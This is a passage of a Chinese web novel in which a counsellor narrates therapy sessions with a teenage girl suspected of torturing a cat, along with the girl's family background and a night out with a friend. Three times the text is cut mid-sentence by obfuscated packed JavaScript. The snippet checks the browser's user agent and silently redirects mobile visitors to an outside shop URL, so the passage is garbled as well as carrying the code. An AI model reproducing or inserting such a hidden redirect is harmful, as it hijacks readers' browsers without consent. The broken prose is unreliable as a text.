画面上有一位穿着很奇怪的少女,就是那种二次元Cosplay风格,看不清面目,穿着一身快要拖到地上去的公主蓬蓬裙,独自一人,慢慢地在小区里一排店铺前踱步。 蓬蓬裙的女孩踱到一家店门口,门口放着一只笼子装着一只小动物,不过我看得不太清楚,大约是小猫小狗。 这时应该是下午午觉时间,大多数人在午休,店门前道路上懒洋洋的偶尔几个行人。 店门口静悄悄的,突然,蓬蓬裙少女拿起笼子,转身快速离开消失在画面中。 这个视频记录了一位少女偷窃的行为。 在视频的最后,有一个画面被扩大,是少女手里拿着的那一个笼子,视频制作人还用红色的圈圈标出来,和第一个视频相比,显然是同一个笼子。 莫非这位少女,就是让那只可怜的小猫变成那个样子的始作俑者? 留言印证了我的猜测。 “老师,打扰你了,我希望能得到你的帮助。” “这是我的侄女,最近厌学不上学,刚开始物业在业主群发视频找人,我还不太在意,后来发现里面的人居然是萱萱,我吓坏了。” “我想不明白,平时挺乖的,怎么会做这样的事。” “我哥平时比较忙,都是我在照顾她,发生这个事我都不知道怎么交代。” “我想问问,催眠能治疗这个吗?” 我觉得这个世界上如果有比杀戮更严重的罪行,那就是虐待致死。 杀戮一个动物可能仅仅只是食物链上一个功能性的环节,可是虐待动物则不同,它追求一种以痛苦恐惧为养料的畸形心理满足。 它脱离了人类美好品质的那些面向:仁慈、同情、善良、爱心…… 只留下一抹像挂在魔鬼嘴边血腥又残忍的微笑。 这种症状不太适合单纯的心理咨询。 我婉拒道:“云淡风轻你好,视频我已经看到了,这种症状适合到医院治疗。” “催眠只是心理咨询的一个技术,对一些严重的心理问题只适合做配合治疗。” “这种治疗比较复杂,可能需要结合药物和其他手段,家长要做好长期治疗的心理准备。” “尽早去,早去早控制。”我叮嘱。 虐待动物者大有可能升级到伤害人身,首次虐待行为发生后的6个月是黄金干预期。 我不知道视频中的少女出现这种症状有多久,是首次还是惯例? 也不知这位少女是什么类型的施虐者,是人格障碍发作还是情绪性的发泄? 但无论如何,我希望她尽早有回转的余地。 过了两天,云淡风轻又发了信息过来。 “老师,孩子说她没病,不肯治疗,去了医院检查,医生说要心理治疗加药物结合电击治疗。” “我想应该没有这么严重吧!” 没这么严重,长大就会懂事,长大就会变好…… 是少年管教所里家长群体的特色标配,主打不管不顾鸵鸟式育儿。 长大会变好变懂事的孩子,搭建在健全心智的基础上,从有毒的土壤里成长出来的种子,只会越来越畸形。 “可能会越来越严重,家长可以和医生详细聊聊。” 那边沉默了一天:“我和我哥商量了一下,先按厌学来你这治疗可以吗?去医院影响不好,孩子也不同意,其实孩子挺乖的,可能有什么地方搞错了。” 这位姑姑后面站着一位隔空喊话的隐形父亲,母亲沉默是金不知身在何处。 人性那部分的我想拒绝,职业那部分的我有好奇。 她微信里所属地是隔壁的深市,我说:“这里太远了,心理疗愈是一个长期的陪伴过程,在当地找适合的咨询师比较好,需不需要我介绍那边优秀同行给你?” “不用,我哥说远一点更好,萱萱不上学,我们有时间。” 什么叫作远一点更好? 约十六七岁的女孩,低眉顺眼的俯首跟在姑姑后面,不cosplay的装扮后有种纯天然的清秀,高挑的身材套着一件又宽又大的丅恤,上面画着一个抽象的黑色骷髅,空荡荡的眼眶透露一种无所畏惧的邪恶。 姑姑很斯文讲话很温和:“老师,她叫陈沭萱,最近学习压力大休学了,找老师开解开解。” 粉饰太平得我不知如何开口。 她转向女孩,笑得有点讨好:“萱萱,你有什么不开心的事情,都可以跟老师说一说,让老师帮助你,等结束了我再来接你。” 女孩低垂着纤长的睫毛遮住了神色,好像在认真听讲又好像在认真思考,直到姑姑离开的关门声响起,嘴角才勾起一个意味不明的鄙夷笑容。 “陈沭萱你好,很高兴认识你。”我说。 陈沭萱终于抬起头,她的眼珠是浅淡的琥珀色,可惜瞳孔深处像碎冰晶般的冷光影响了它原本的美感。 嘴角仍勾着意味不明的弧度,双手抱臂后靠着椅子,冷冷地看向我,没有回答前一句,似在等待下一句。 “你有想咨询的目标和内容吗?” “没有。”很冷淡,惜字如金。 “这么说你是被逼营业的?”我笑了笑。 她似暗中翻了个白眼,对我老旧的幽默感懒得回答,沉默地扭头看向周围打量着。 青春期的孩子活在一个世界将来是我们的理想中,用爱搭不理来对即将拍死在沙滩上的前浪们彰显优越感。 前浪只能好脾气地自说自话:“你可以思考一下,也可以和我一起确立想要咨询的内容。” 她看了周围一会儿,似乎对我侧边的间格柜有些兴趣,站起来走过去细细打量。 她的沉默像是较量又像是挑衅,我没有再理会她,打开她姑姑发来在医院测试的量表。 Hare精神病态量表是评估一个人精神病态特质的同理心缺失程度,情绪调节困难量表(DERS)则是检测情绪转化机制,前者侧重人格后者侧重情绪的心理评估。 我正看得入神,突然听到咣当一声清脆的响声,地上散落着几片白色的碎片。 我的格柜上只放着一只白色小天使的陶瓷摆件,东西不是十分值钱,是多年前去景德镇旅行途经一家手工作坊,看到肉乎乎胖脸微笑的样子十分可爱,小小的翅膀在后背张开对自由的向往,老板说每一件手工出品都独一无二。 我走过去用纸巾包着拾起放到垃圾袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826334|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,心中有些惋惜。 “抱歉。”陈沭萱的声音从头顶上传来,声音没什么诚意。 我仰头看向她,窗外的光亮被阴影遮挡,稍纵即逝微弯的嘴角像淬了毒的银钩。 我把碎片扫干净坐回椅子上说:“那你打算怎么赔偿?” 她好像被噎了一下,有些难以置信的惊讶! “我说过抱歉了!” “不是所有的事情说句抱歉就好了,如果对不起能解决所有问题,还要警察叔叔干什么?” “我是客人。”她撇了撇嘴。 “我这里没有客人,只有想解决心理困惑的来访者,况且就算是客人,损坏东西也是要负责任的。” 她沉默了一下,撇了撇嘴,“你没有包容心。” “这跟包容心没关系吧,我觉得弄坏东西主动提出赔偿是基本社交原则。” “我以为你是个快成年人了。” 未长大的孩子可以躲在大人的羽翼下不管世事,但青少年若还如婴孩则会长成巨婴,以为所有的错误都能由别人买单。 我和姑姑反馈,咨询的情况不太好,不知她还愿不愿意过来。 “没关系,她在医院也是这样,一点也不理人,可能比较敏感,不想别人觉得她心理有问题,我哥批评了她,她答应再过来的。” 这次她进来仍是冷冰冰,不过倒主动先开口。 她径直走到我挂在墙上的各类证书前看了一会说:“老师,你的证书好像只是资格证,你什么学历?博士还是教授?都不是的话,你觉得有资格帮我做咨询吗?不会是骗钱的吧?” 这是我第二次听到她说骗钱这个词。 昨天我把赔偿的数字告诉她时,她也是这样质疑的:“这么个小小的东西值三位数?你骗钱的吧?” 我从垃圾桶拾起一片碎片,指着底下蓝色行书体的‘景德镇·手作’字样给她看:“景德镇里泥土和手工都不骗钱。” 她愤愤走了。 我有理由怀疑她为此想了一夜,好为昨天的角力扳回一局。 质疑一个人的职业资格等于否定一个人的专业能力,也会使人感到被否定价值的冒犯。 “你听过一万小时定律吗?”我问。 一万小时定律是由马尔科姆·格拉德威尔在2009年出版的《异类》一书中提出的理论,其核心观点是:人们眼中的天才之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力,一万小时的锤炼是任何人从平凡变成超凡的必要条件。 她又露出那种淬过毒针似的微笑:“所以你想说虽然没有好的学历证明,但你已经用1万小时把自己打造成一个真正的专家了吗?” “不,我想说的是,在这个1万小时里,我在九千九百九十九小时都在自我质疑,怀疑自己是否有足够的资格做这个工作。” 听到这个答案她稚嫩的脸上明显愣了一下。 “我不单怀疑自己的资格,也对自己很多方面都怀疑,比如够不够优秀,够不够努力,值不值得爱诸如此类的。” “那你有答案吗?”她有点幸灾乐祸地问。 “有些有答案,有些还没有答案,后来发现,答案并不是那么重要,重要的是,我在找答案的这个过程中,是怎么面对问题的,又是怎么处理的。所以,剩下的最后一个小时我会选择让自己继续做自己想要做的事。” 证书从来不能代表能力,只是代表了学习的过程。 在无数的日夜里在自我怀疑中学习自我救赎的过程。 在无数的时光里在自我崩溃中学习自我重建的过程。 自我质疑了数千次,如果用心理学的名词来解释,我这个也算是系统脱敏的过程,但是它没有在催眠当中那么仁慈,也没有一位催眠师的适时引导,就像一场要自己动手没有麻醉的外科手术。 我笑了笑说:“回到你刚才的问题,你随时有质疑的权利,也有换心理咨询师的权利。一位厨师做的菜品到底好不好吃确实是由顾客来决定的,不过这位顾客点评好不好吃首先要品尝过后才能评论,你打算开始做咨询吗?想解决什么问题?” 14. 杀猫02 她耸耸肩歪歪地坐在椅子上,像一枝在风中不服气挣扎的荆棘。 “他们想让我回学校读书,那你治呗。” “那是他们的想法?你呢?你想回学校吗?” “不想。” “能聊一聊你为什么不想回学校吗?学习压力还是和同学老师相处的问题?” “什么问题都不是,我只是不想和一群蠢货待在一起!”她勾起嘴角,眼神冷洌而不屑。 “我觉得你这个形容有一种傲慢啊,少年。” “傲慢吗?难道不是事实吗?” “你难道不觉得老师只想让我们服从,同学们只会听话,每天上学的内容就是按照标准的答案不停地刷题,把我们培养成听话的机器,像是一群乖乖待宰的羔羊。” 我有些惊讶她的尖锐:“你很有自己的想法。” 不过她用羔羊这个词让我感觉很不适,让我想起电影《沉默的羔羊》。 一个视人命为草芥心狠手辣又极高智商的变态杀手,把自己凌驾于他人之上,把别人玩弄在股掌之间。因为这是把自己和他人放在一个不相同物种的凝视,这种倾向有些危险。 我下意识地反驳:“你觉得他们跟你的想法不一样就等于没有想法吗?知道自己要什么,通过什么样的方法争取,即便有时候需要妥协,那也是一种想法呀。” 她冷笑:“糊弄傻子。” 尽管我认同她有些地方说得蛮对的,现代教育已经成为一只大型吞噬个体灵魂的数字怪兽,学校是升学率的受害者和加害者,老师在各种KPI里焦头烂额,学生是个人形分数计算器,家长为每一分压榨自己的金钱和时间,人人活在被数字操控的Matrix帝国里。 但不可否认也有许许多多的人通过这种机制获得高等教育的机会,太过于偏激的思想并不会使情况变得更好。 “你知道什么是标准化公平机制吗?就是为了符合大多数人的利益而放弃灵活性和个性化,不一定能照顾到所有的人,但至少对大多数人是公平的,给予所有人一视同仁的机会和出路,我们不能因为它有缺点就全盘否定它。” 她用一种看教导主任的眼神嘲讽般抗拒看着我。 我觉察到自己似乎偏离了咨询师的角色,被她的攻击性「同化」了。 我暗暗调整了自己,放下自己隐藏的偏见,开口时语气也变得柔和: “从你的表达来看,你是一个有自己独特思想的人,独特意味着难以被人理解,意味着孤独,我希望自己能理解你。” 她又冷笑了一下,显然不是那么容易被一两句话打动。 “说实话,如果我无法理解你我就无法帮助你,我只能按一般的青少年心理推测你,比如你不喜欢学校和老师,其实是对一种权威的反抗,表明自己长大了成熟了。” 她笑了起来:“老师,我觉得你很幼稚。” “比如呢?” “我不喜欢就是不喜欢,跟什么证明自己长大没什么关系。” “谢谢你说我幼稚,就像新入职场的人喜欢穿端庄的衣服来证明自己的成熟,年老的人喜欢穿花哨的衣服证明自己有活力。当你说我幼稚的时候,我会觉得自己的思想还没那么僵化,会有很多可探索可塑造的地方,这一点不是最可贵吗?” 她想了一下,既没肯定也不反驳。 “说回返校这个话题,你似乎希望找一个能让自己回学校的理由,你觉得朋友怎么样?想象一下,无论在你学习压力大或者面对师长的压力下,有一个和你共同进退的朋友,那感觉会好很多。” “我不需要朋友!” 我回想了一下自己差不多的年纪,虽然朋友不多,但总是有说得上话的二三知己,很难想象在这个阶段不需要朋友。 “很少人说自己不需要朋友,人是群体性的动物,你能和我谈谈这个话题吗?” 人需要伴是从远古狩猎采集时代就开始的,落单者面临捕食者攻击食物匮乏等致命风险,团体性和归属感就被刻画在我们的DNA里。 没有朋友即意味着没法融入某一个团体,没有融入某个团体即没办法产生归属感。 从马斯洛的心理需求层次分析,归属感是连接安全依恋到自我实现的桥梁。它贯穿我们各年龄阶段,在青春期尤为如此,通过同辈的群体建立自我身份认同。 她没有回答,又恢复到拒人千里之外的样子。 “小时候的好朋友也没有吗?” “没有就没有,有什么奇怪的?我又不需要朋友,那都是傻??的想法!”她的声音有些恼怒。 什么是痛处呢?就是一个人最痛最不想别人碰的地方,而那个地方恰好是问题所在。 “我们谈论朋友这个话题的时候,我感觉到你很排斥,为什么呢?你会联想到什么?” 她冷笑了一下:“我会想到猫。” 我心里一沉,想起在视频里那只可怜的猫。 “猫,这之间有什么关联?” 她抬起眼皮有点残酷地盯了我一眼:“猫这种动物最会惺惺作态,平常好像很温顺,但冷不丁就会抓伤你或许反咬一口。” 我觉得她的语气里隐藏着一种危险的怨恨。 “你有过类似的经验?像猫一样的朋友?” 难道曾经被朋友背叛或伤害,所以将愤怒转到猫身上吗? “我说过,我没有朋友。”她有些不耐烦。 “那我实在想不到,你为什么有这种奇怪的联想。” “因为你水平不怎么样呗!” 我吸了一口气,觉得喉咙好像卡了什么有刺的东西,不禁咳嗽了几下。这个女孩如一粒蒲公英籽儿,浑身包裹在有倒钩的软刺里。 早期的家庭环境对人际关系或归属感形成至关重要,这让我想起她隔空指导的父亲以及未曾谋面的母亲。 据说陈沭萱父母早已离异,他们之间关系如何,又和她的关系如何?为什么孩子小的时候不是判给母亲,而是跟着父亲?为什么孩子出了问题父母仍如隐形? 一切的信息只来源姑姑此前的几句反馈: “哦,她妈妈哪有能力养呀?那会萱萱才几个月大,带着她能做什么事?所以就判给了我哥,萱萱从小都是我妈妈和我一起带大的。” “其实我们对萱萱可好啦,吃的穿的从来都是照着最好的给,我哥每次买东西,都以她为优先,比对她弟弟还好得多!” “我哥工作好忙的,大律师嘛,整天飞来飞去,她妈妈听说前两年结婚了,可能不太方便吧,我也没怎么和她说。” “萱萱小时候可乖可听话了,可能最近是那个什么叛逆期吧!” 云淡风轻! “你愿意谈谈你的父母吗?” “没什么好聊的,就那样。” “我希望能够帮助你,但假如你一点也不想被帮助的话,我得承认我无能为力。” 她的眼珠转了转:“我父母离婚了,我跟父亲。” “你和父亲的关系怎么样?” “就那样,他说如果我不来做咨询就把我送到精神病院去。” 我沉默了一下:“当他这说你会有什么感受?” 她耸耸肩把刘海拨到一边去,冷哼一声:“能有什么感受?他一向都是这样,让我好好学习,别丢他的脸,让我争取优秀,别让他失望,要发病也走远点,他丢不起这个人。” 我突然有一种沉重的沮丧和难以忍受的灼热感,像是凝滞的冰块和火烤的交替,我知道这是来自陈沭萱的内在投射。 “听到这些话我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826335|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得很难受,很想哭,又觉得很愤怒,又憋得很辛苦!” “你胡说八道些什么?”她有点恼怒地嚷着,眼眶却微微发红。 “这些话我听不到关心,只有冷漠和要求,只有高高在上的指令要求我。” “你闭嘴。” 她眼眶更红了,苹果肌也像被眼里的血丝晕染,愤怒的手指用力捏住了手上一只钥匙扣,上面扣着一把黄铜色古朴的金属剑。 “没人在乎她的感受,没什么在乎她的想法。” 她握住那支小剑,一边带着愤意盯着我,一边用力地戳向桌子,像是一种无声的危险的警告。 原木的桌子被浅浅地戳出点点的痕迹,我没有出声阻止她。 我想起她在“情绪调节困难量表(DERS)”的得分,想起那只被虐待至死的猫,想起升级后高达39%的伤人机率。 长吁了一口气,决定赌一把,她处在情绪激动的时刻,那其实是催眠最容易进入的时候。 “这不公平,”我盯着她的眼睛。 “很愤怒,像火一样,越烧越旺,好像无数的岩浆在汇聚,在流动……” 她压抑不住愤意,手里钥匙扣小剑仍然有节奏地戳向木桌,单调的低音像催眠里的白噪音。 “你闭上眼睛,握紧拳头,感觉到这个愤怒更加尖锐,更加有力,甚至像火山一样……” 她的眼睛瞪得更大,却逐渐开始有一些失焦。 “让这种感觉扩大,10倍、100倍,闭上眼睛,感受它……” 声音在空旷的咨询室里高高低低,远远近近,很容易让人感到昏昏欲睡。 陈沭萱朦朦胧胧中,见到了一张极为丑陋又讨厌的脸。 她拿着手上那个硬硬的小匕首,想走过去戳破那张脸。 可是前面出现好几张人脸拦住了她。 她认出几张脸,是奶奶,姑姑还有后妈。 家里连她一共有四个女人,她却是个没有妈妈的孩子。 奶奶在家里是位大总管。 姑姑嫁了又回娘家,和奶奶一起照顾她。 后母还没有生小孩,没什么存在感。 小时候的陈沭萱,也有过幸福快乐的时候。 虽然父母早已经离婚,但是她每隔一段时间能见到母亲一次。 母亲会给好买好吃好玩和漂亮的衣服。 可是陈沭萱对她的印象并不深刻,也谈不上有多喜欢。 因为她是个不争气的女人。 这是她不经意听到奶奶和姑姑私底下悄悄地议论。 “她妈太笨了,没有一点手段。” “就是,你说就凭她样貌还能去哪找到像我哥这样的男人?” “要是第一胎生的是小子,我还是能劝一劝的,没办法,谁让她运气不好。” 陈沭萱听得不太懂,可是她感觉到了姑姑和奶奶嘴里不屑的语气。 但她不是很在意,在这个家里,她只要在意父亲就足够了。 父亲在这个家里就像月亮一样,大家都像星星一样围着他转。 只要他在家光就好像一直照在他身上,饭菜会按照他的口味精心调整,温度会随着他的舒适设定,电视也会从动画片转换到国内外新闻。 他掌握着所有人的物质经济,也掌握所有人的喜怒哀乐。 所以,陈沭萱虽然在小小的年纪,天然就有趋利避害的本能,她知道只要她是父亲的小棉袄小公主,大家都会对她很好。 奶奶会做花样百变好吃的给她。 姑姑会时不时给她买漂亮的衣服裙子。 甚至后母也偶尔会送点漂亮的小礼物给她。 陈沭萱一直以为自己会是家里备受宠爱的小公主。 直到弟弟的出生。 15. 杀猫03 四岁的陈沭萱第一次见到皱巴巴红彤彤像一只猴子的弟弟,她觉得这真是一个比她房间里坏掉的布娃娃还难看的丑东西。 两条像青蛙一样伸不直的瘦小短腿,秃头塌鼻子的丑样儿,傻啦吧唧的睁不开眼睛。 一会屎粑粑一会尿津津一股腥味儿,像一只变形的粽子被裹在一团透不过气的布团里。 小小的陈沭萱在第一眼就决定不喜欢他。 但丑东西不知为什么在大人的眼中却变成了香饽饽。 奶奶一脸惊叹不停的的叫宝贝儿小祖宗。 她布满皱纹的脸像朵粉色绣球菊一样盛放,忙前忙后的脚步竟比一只小狗更轻快。 姑姑虽然没有特别高兴,但她笑奶奶:“哟,妈,这下你可顺心顺意了!”。 就连之前没什么存在感的后娘似乎也变得很不一样。 陈沭萱迷惑的站在屋子里让所有的人欢庆,她感到有什么东西从她的头上悄悄溜走了。 她肚子好饿,又累又渴,可是竟然没有一个人发现。 她想找奶奶,奶奶推着她:“我正在炖下奶汤,待会别溢锅了,你别添乱,赶紧到别处玩去。” 她想找姑姑,姑姑说她晚上要值夜,别打扰她睡觉。 她想找父亲,父亲正抱着那个丑东西一脸的慈爱。 成人的腿和屁股在屋子里移来移去,没有人低下头看到小小陈沭萱的表情。她攥着小小的拳头,突然明白了什么叫没有娘的孩子。 一根飘零在在溪水中无根的草,一朵新鲜无辜被摘下又扔掉的花,没有归宿,不知去向何方。 初秋的风很轻,云朵淡得像半透的棉纱,黄昏的太阳在天空中如一只橙色的段落收尾句号,不知悲欢无差无别的给予所有人喘息的时光。 莎莎来电:“今天晩上顺市有红草莓音乐节,你顺便出来散散气,整天闷在一个地方会发霉的。” “音乐节?就是音乐会吗?” “就是很多乐队轮流表演,说是当地政府举办的,大概是为了配合新开放的灯光夜市招揽人气。” 刚完成了一个长而疲惫的催眠,就像被狂风吹过一样蓬头垢面的狼狈,我确实需要放松转换一下。 骚包的粉色跑车带着一抹张扬与不羁戛然停在我面前,我看了看LOGO和车牌号走近车后门,正想拉开时莎莎轻盈地从驾驶位飘下,紧接着她与我一同挤进了那狭窄的后座,陈喆从副驾驶位置下来和我打了个招呼,钻进驾驶室当起女性化跑车的临时司机。 陈喆是莎莎的新男友,个高腿长,鼻梁挺直,五官立体,笑起来像春日的暖阳,比莎莎小。 此前已见过几次,知道他是个有着六块腹肌的健身教练。 “你吃得可真好!”我有一次取笑莎莎。 “哈哈!谁让姐吃得起呢!”莎莎毫不羞涩,反而带着一份洋洋得意的笑容。 我看了一眼陈喆背影对莎莎说:“不用担心我无聊,我睡一觉就到了,免得我好像要拆散你们似的。” 莎莎笑眯眯:“随便拆,你才是大的,放心,没人能动得了你的位置。” 陈喆头也没回笑着说:“对对对,今天我只是司机,为两位美女服务。” 她拍了拍我的肩膀道:“今天你乍肯出来?太阳要从东边下山了。” “因为好久没见你,顺便托你的福出来轻松下,你怎么样,忙好了?” 最近受国际汇率变动的原因,有好些预定了的大订单被逼更改,莎莎白天跟进产品,晩上在线对接客户,忙得七荤八素,我们好几个月没见面了。 “还有一点点小麻烦,出不去的货打算找几个电商内销了,就是利润要腰斩,不过没办法,先弄点现金在手。”她在略微局速的有限空间里,像一只怠惰的猫一样伸了个小小的懒腰。 “你呢?闲还是忙?” “不闲不忙,反正暂时还不能赎身,勉强没饿死自己。” 莎莎哈哈一笑:“你做的是伟大的事业,帮人排忧解难修的是福报,不能以赚钱为目的的嘛。” “不赚钱的事业从来不长久,我们这种工作不劳力但杀伤力极强,要承受对方的情绪炸弹,要承受对方的移情创伤,没有钱何以解忧?”我气若游丝的说道。 有一位心理大咖说过:做心理咨询不能太穷,如果物质上太穷,精神上就会太落魄,这样就不能帮助来访者。 “哈哈,看你的样子好像刚刚被虐了一轮。” “你看起来很开心的样子。”我嗔怪的瞥了她一眼。 “人生在世要懂得及时行乐嘛!” “你是个乐天派,人人都像你一样,人生没有烦恼。” “那是,想得开不就行了。” “每次听到别人这样说我就有一种感慨,好像想得开放得下是一件很轻易的事似的,但其实这是一种很了不起的能力,也是一种天赋,否则为什么不是每个人都能做到,为什么要自讨苦吃?这种能力比学习知识更艰难。有些人可能修一辈子也只能堪堪及格,所以才需要佛渡世人。” “我怎么听你这个话有股酸味?” “是呀,什么叫站着说话不腰疼,那情景就像是一个满身丝绸珠宝的富人对一个粥都喝不上的穷人说何不食肉糜一样。” 她伸手来挠我:“好呀,你就是想讥讽我是个暴发户呗。” 我一边挡一边说:“不是讥讽,是吃不到葡萄你总得让我说是酸的平衡一下吧。” 陈喆回头笑着说:“你们这是搞车震吗?” 莎莎踢了下前座:“专心开你的车,姐姐的平安就在你手上了。” 转过头对我说:“总算脸色好些了,刚才那样子就像被那啥糊了一脸,我以为你发生了什么事。” “没什么,下午做的催眠有点累,个案有点棘手。” “怎么棘手了?出轨偷情还是杀人分尸?” “你以为我是刑侦科还是八点档?一个青春期的孩子而已,只是让我有些感慨,人为什么要随便生小孩呢?如果不能给他一个好的环境又何必带到这个世界来。” 莎莎又伸了个懒腰:“想太多就不生了,像我娘17岁就生了我,她能想什么?现在不是有我给她养老送终么?多幸福!” 莎莎的母亲没成年就生下莎莎,父亲也是个半大不小的孩子,俩人就像玩过家家一样很快分开,莎莎是外婆抚养长大的。 我沉默了一会说:“生你这样的机率跟中500万大奖差不多!” “哈哈,可不是吗?生娃跟买彩票差不多,有些人花个几块钱就能中大奖,有些人押了身家也没中奖的运气,大家都是搏一搏呗。” 我琢磨了一下说:“大概大多数人都是这么想的,这也没有错,只是我不太想做这种选择。可能我太过于理想化了,我希望孩子是因为父母的爱才来到这世界上。” “人间哪有那么多爱,不添乱就已经很不错了。”莎莎突然叹了一口气。 “其实我今天也是想出来散散心,我老娘今天又找我拿钱了,前半年才给她转了十几万,又被人骗光了。” 我沉默不语。 莎莎的的母亲像一株需要寄生的菟丝子,从前是寄养在各式男人身上,现在是依附在有能力的女儿身上。 “你不给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826336|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不就行了吗?”曾经有很多朋友经常劝慰莎莎。 “一哭二闹三上吊,到处控诉我不孝,找居委找法院,到我的公司里来闹,我都没办法好好做事了,想着钱能解决的问题都不是问题,所以也就只能这样了呗。”莎莎一脸的无奈。 我拍拍她的手,钱不是真正的问题,问题在于关系。血缘关系是这个世界上最难以理清的关系,谁欠谁谁负谁,各自都有自己的帐,我们总会在里面纠葛不清。 四十多分钟的车程很快就到了,邻市虽然不是省会,可地处珠三角州经济繁华,市政工程犹为大气,治水绿化修道重金砸下呈现一派欧洲小镇的气质。 河水清澈泛着细银流波,沿河一车道宽的绿道平展蜿蜒远去,路边是成排绿树间隔着黑色细柱路灯,绕着一片巨大宽阔柔软绿油油的草坪。 我忽然想起小时候用铅笔画的一幅画,一条通向遥远未知的小路,两旁都是绿意盎然如士兵般站排的树木,路的沿边画着小草和花朵,一个圆头四肢的简笔小人骑着一辆自行车,傍边歪歪扭扭的写了几个字:“一路小草多芬芳。” 在我幼小的心灵当中,对于美好的憧憬大约就是这个样子,心怀希望在一片铺满鲜花的路上,奔向未知的远方。 现景比画中更美更鲜活,有三三两两的单车从身旁呼啸而过,有跌跌撞撞的孩童牵着父母喜笑颜开,有双双对对的情侣于江风中含情对望…… 可是,那个心有远方充满希望的少女,却已不知在何时被何人何时杀死。 那个充满憧憬骑自行车的小人变成了一只沉沉寂寂如如不动的龟仙人。 人到底是如何被塑造成为另一个人的? 莎莎在前面叫:“好像准备开始了,快点过来。” 音乐节的舞台是开放露天式的,随着夜幕的降临,前面渐渐的出现了一小股人潮,大都身着奇装异服,这一代年轻人尤爱把二次元搬到现实中,音乐节倒仿佛是一个大型的漫展派对,浓妆艳抹的各路妖魔鬼怪汇聚在一起,大有密谋颠覆循规蹈矩无趣的人类。 二次元,我叹了一口气,又想起陈沐萱在视频上那个装扮,或许要找时间研究下,爱打扮成二次元样子的年轻人都是什么心理。 五光十色的灯光来回强烈扫射,音乐声震天般鼓动着耳膜,听不懂的歌词看不清的脸孔,但不妨碍周边的年轻人大声呼喊尖叫,散发着他们无处安放的荷尔蒙。 不到一小时便吃不消,我觉得这不像放松倒像是被一阵阵的噪音折磨,于是示意莎莎。 “哎,我也不想看了,去灯光夜市逛逛。”莎莎在吵闹杂声里扯着嗓子喊! 陈喆好脾气的在我们面前做先峰,个高腿长很快帮我们开辟了出去的道路。 夜市是一个城市最有活力的见证,白天属于他人的奄奄一息,晩上则回归自己的朝气蓬勃。 莎莎两人身影在游人如织的行人很快就不见了,我顺着琳琅满目香气浓郁的慢慢前行,在一家手打柠檬茶摊停下来,先是被柠檬清香味那直窜脑门,然后被光怪陆离的名字创意所吸引,鸭屎香柠檬茶我懂,但“暴打渣男,暴打渣女”到底是个什么鬼? 摊主是个留着《龙珠》悟空发型的年轻人,花衬衫宽短裤踏着一双人字拖,他笑嬉嬉的回答:“暴打渣男就是红茶打底,暴打渣女就是绿茶打底。” 他手上拿着一把捣汁棒狠狠扎向柠檬,滴水不漏的雪克杯被上下用力摇晃着,那样子让我想起港片里古惑仔的气质。 我琢磨了一下,觉得这名字的意境甚是耐人寻味,暗戳戳的打算各打包一杯给莎莎两人时,微信电话在手中无声的振动。 16. 杀猫04 “你逛到哪里去了?我们已经到了一个叫绽放的酒吧,就是这条街的尽头,你赶紧过来!” 酒吧不能外带饮料,我只好遗憾的放下打算扫码的手机,沿着灯红酒绿热闹非凡的街道前往。 莎莎两人坐在靠窗的栅格木桌后,昏暗的灯光映着砖色暗纹墙纸有种暖味的气氛,她给我点了一杯三种颜色的混合调酒,在灯光下色泽如琉璃,我喝了一口有果香的酒味,冰冰凉凉感觉还不错。 “珊姐还要点什么吗?小吃这些需要吗?”陈喆很绅士拿着手机在加单,今晚的护花使者加司机,只委屈自己点了一杯冰咖啡。 我摇手:“谢谢,不用,又累又渴,什么也吃不下去。” 莎莎在一旁撇嘴:“知名的乐队都没有,估计都是当地的无名小卒,音乐效果不好,主唱吐字不清,还好意思叫音乐节,免费的东西果然不行,白白浪费老娘的感情。” 莎莎是颜值协会主席,无论是明星歌星还是网红,主要是脸蛋过关她都觉得好,今天吐槽那么多的唯一原因大概就是没有让她赏心悦目的人。 我低头忍笑。 陈喆在一旁好声好气的道:“其实翻唱的那部分还行,就是自创的歌曲不怎么好听,毕竟有才华的乐队比较少。” 年轻人喜欢氛围多过实质,陈喆在现场比我们投入,年龄真是个深深的代沟呀,我为自己提前拉人走扫兴有点不好意思。 莎莎看了他一眼转了转眼珠,娇嗔的道:“你听得还挺认真,我光觉得站着就好累人,腿都疼死了!” 陈喆忙放下手机说:“小腿疼吗?我帮你揉揉。” 我觉得健身教练是一个挺神奇的职业,对人体结构的了解跟专业医师差不多,放下本职工作也能开一间专治腰肌劳损铁打损伤的正骨保健养生馆。 莎莎眯起眼睛,舒服得叹着气。 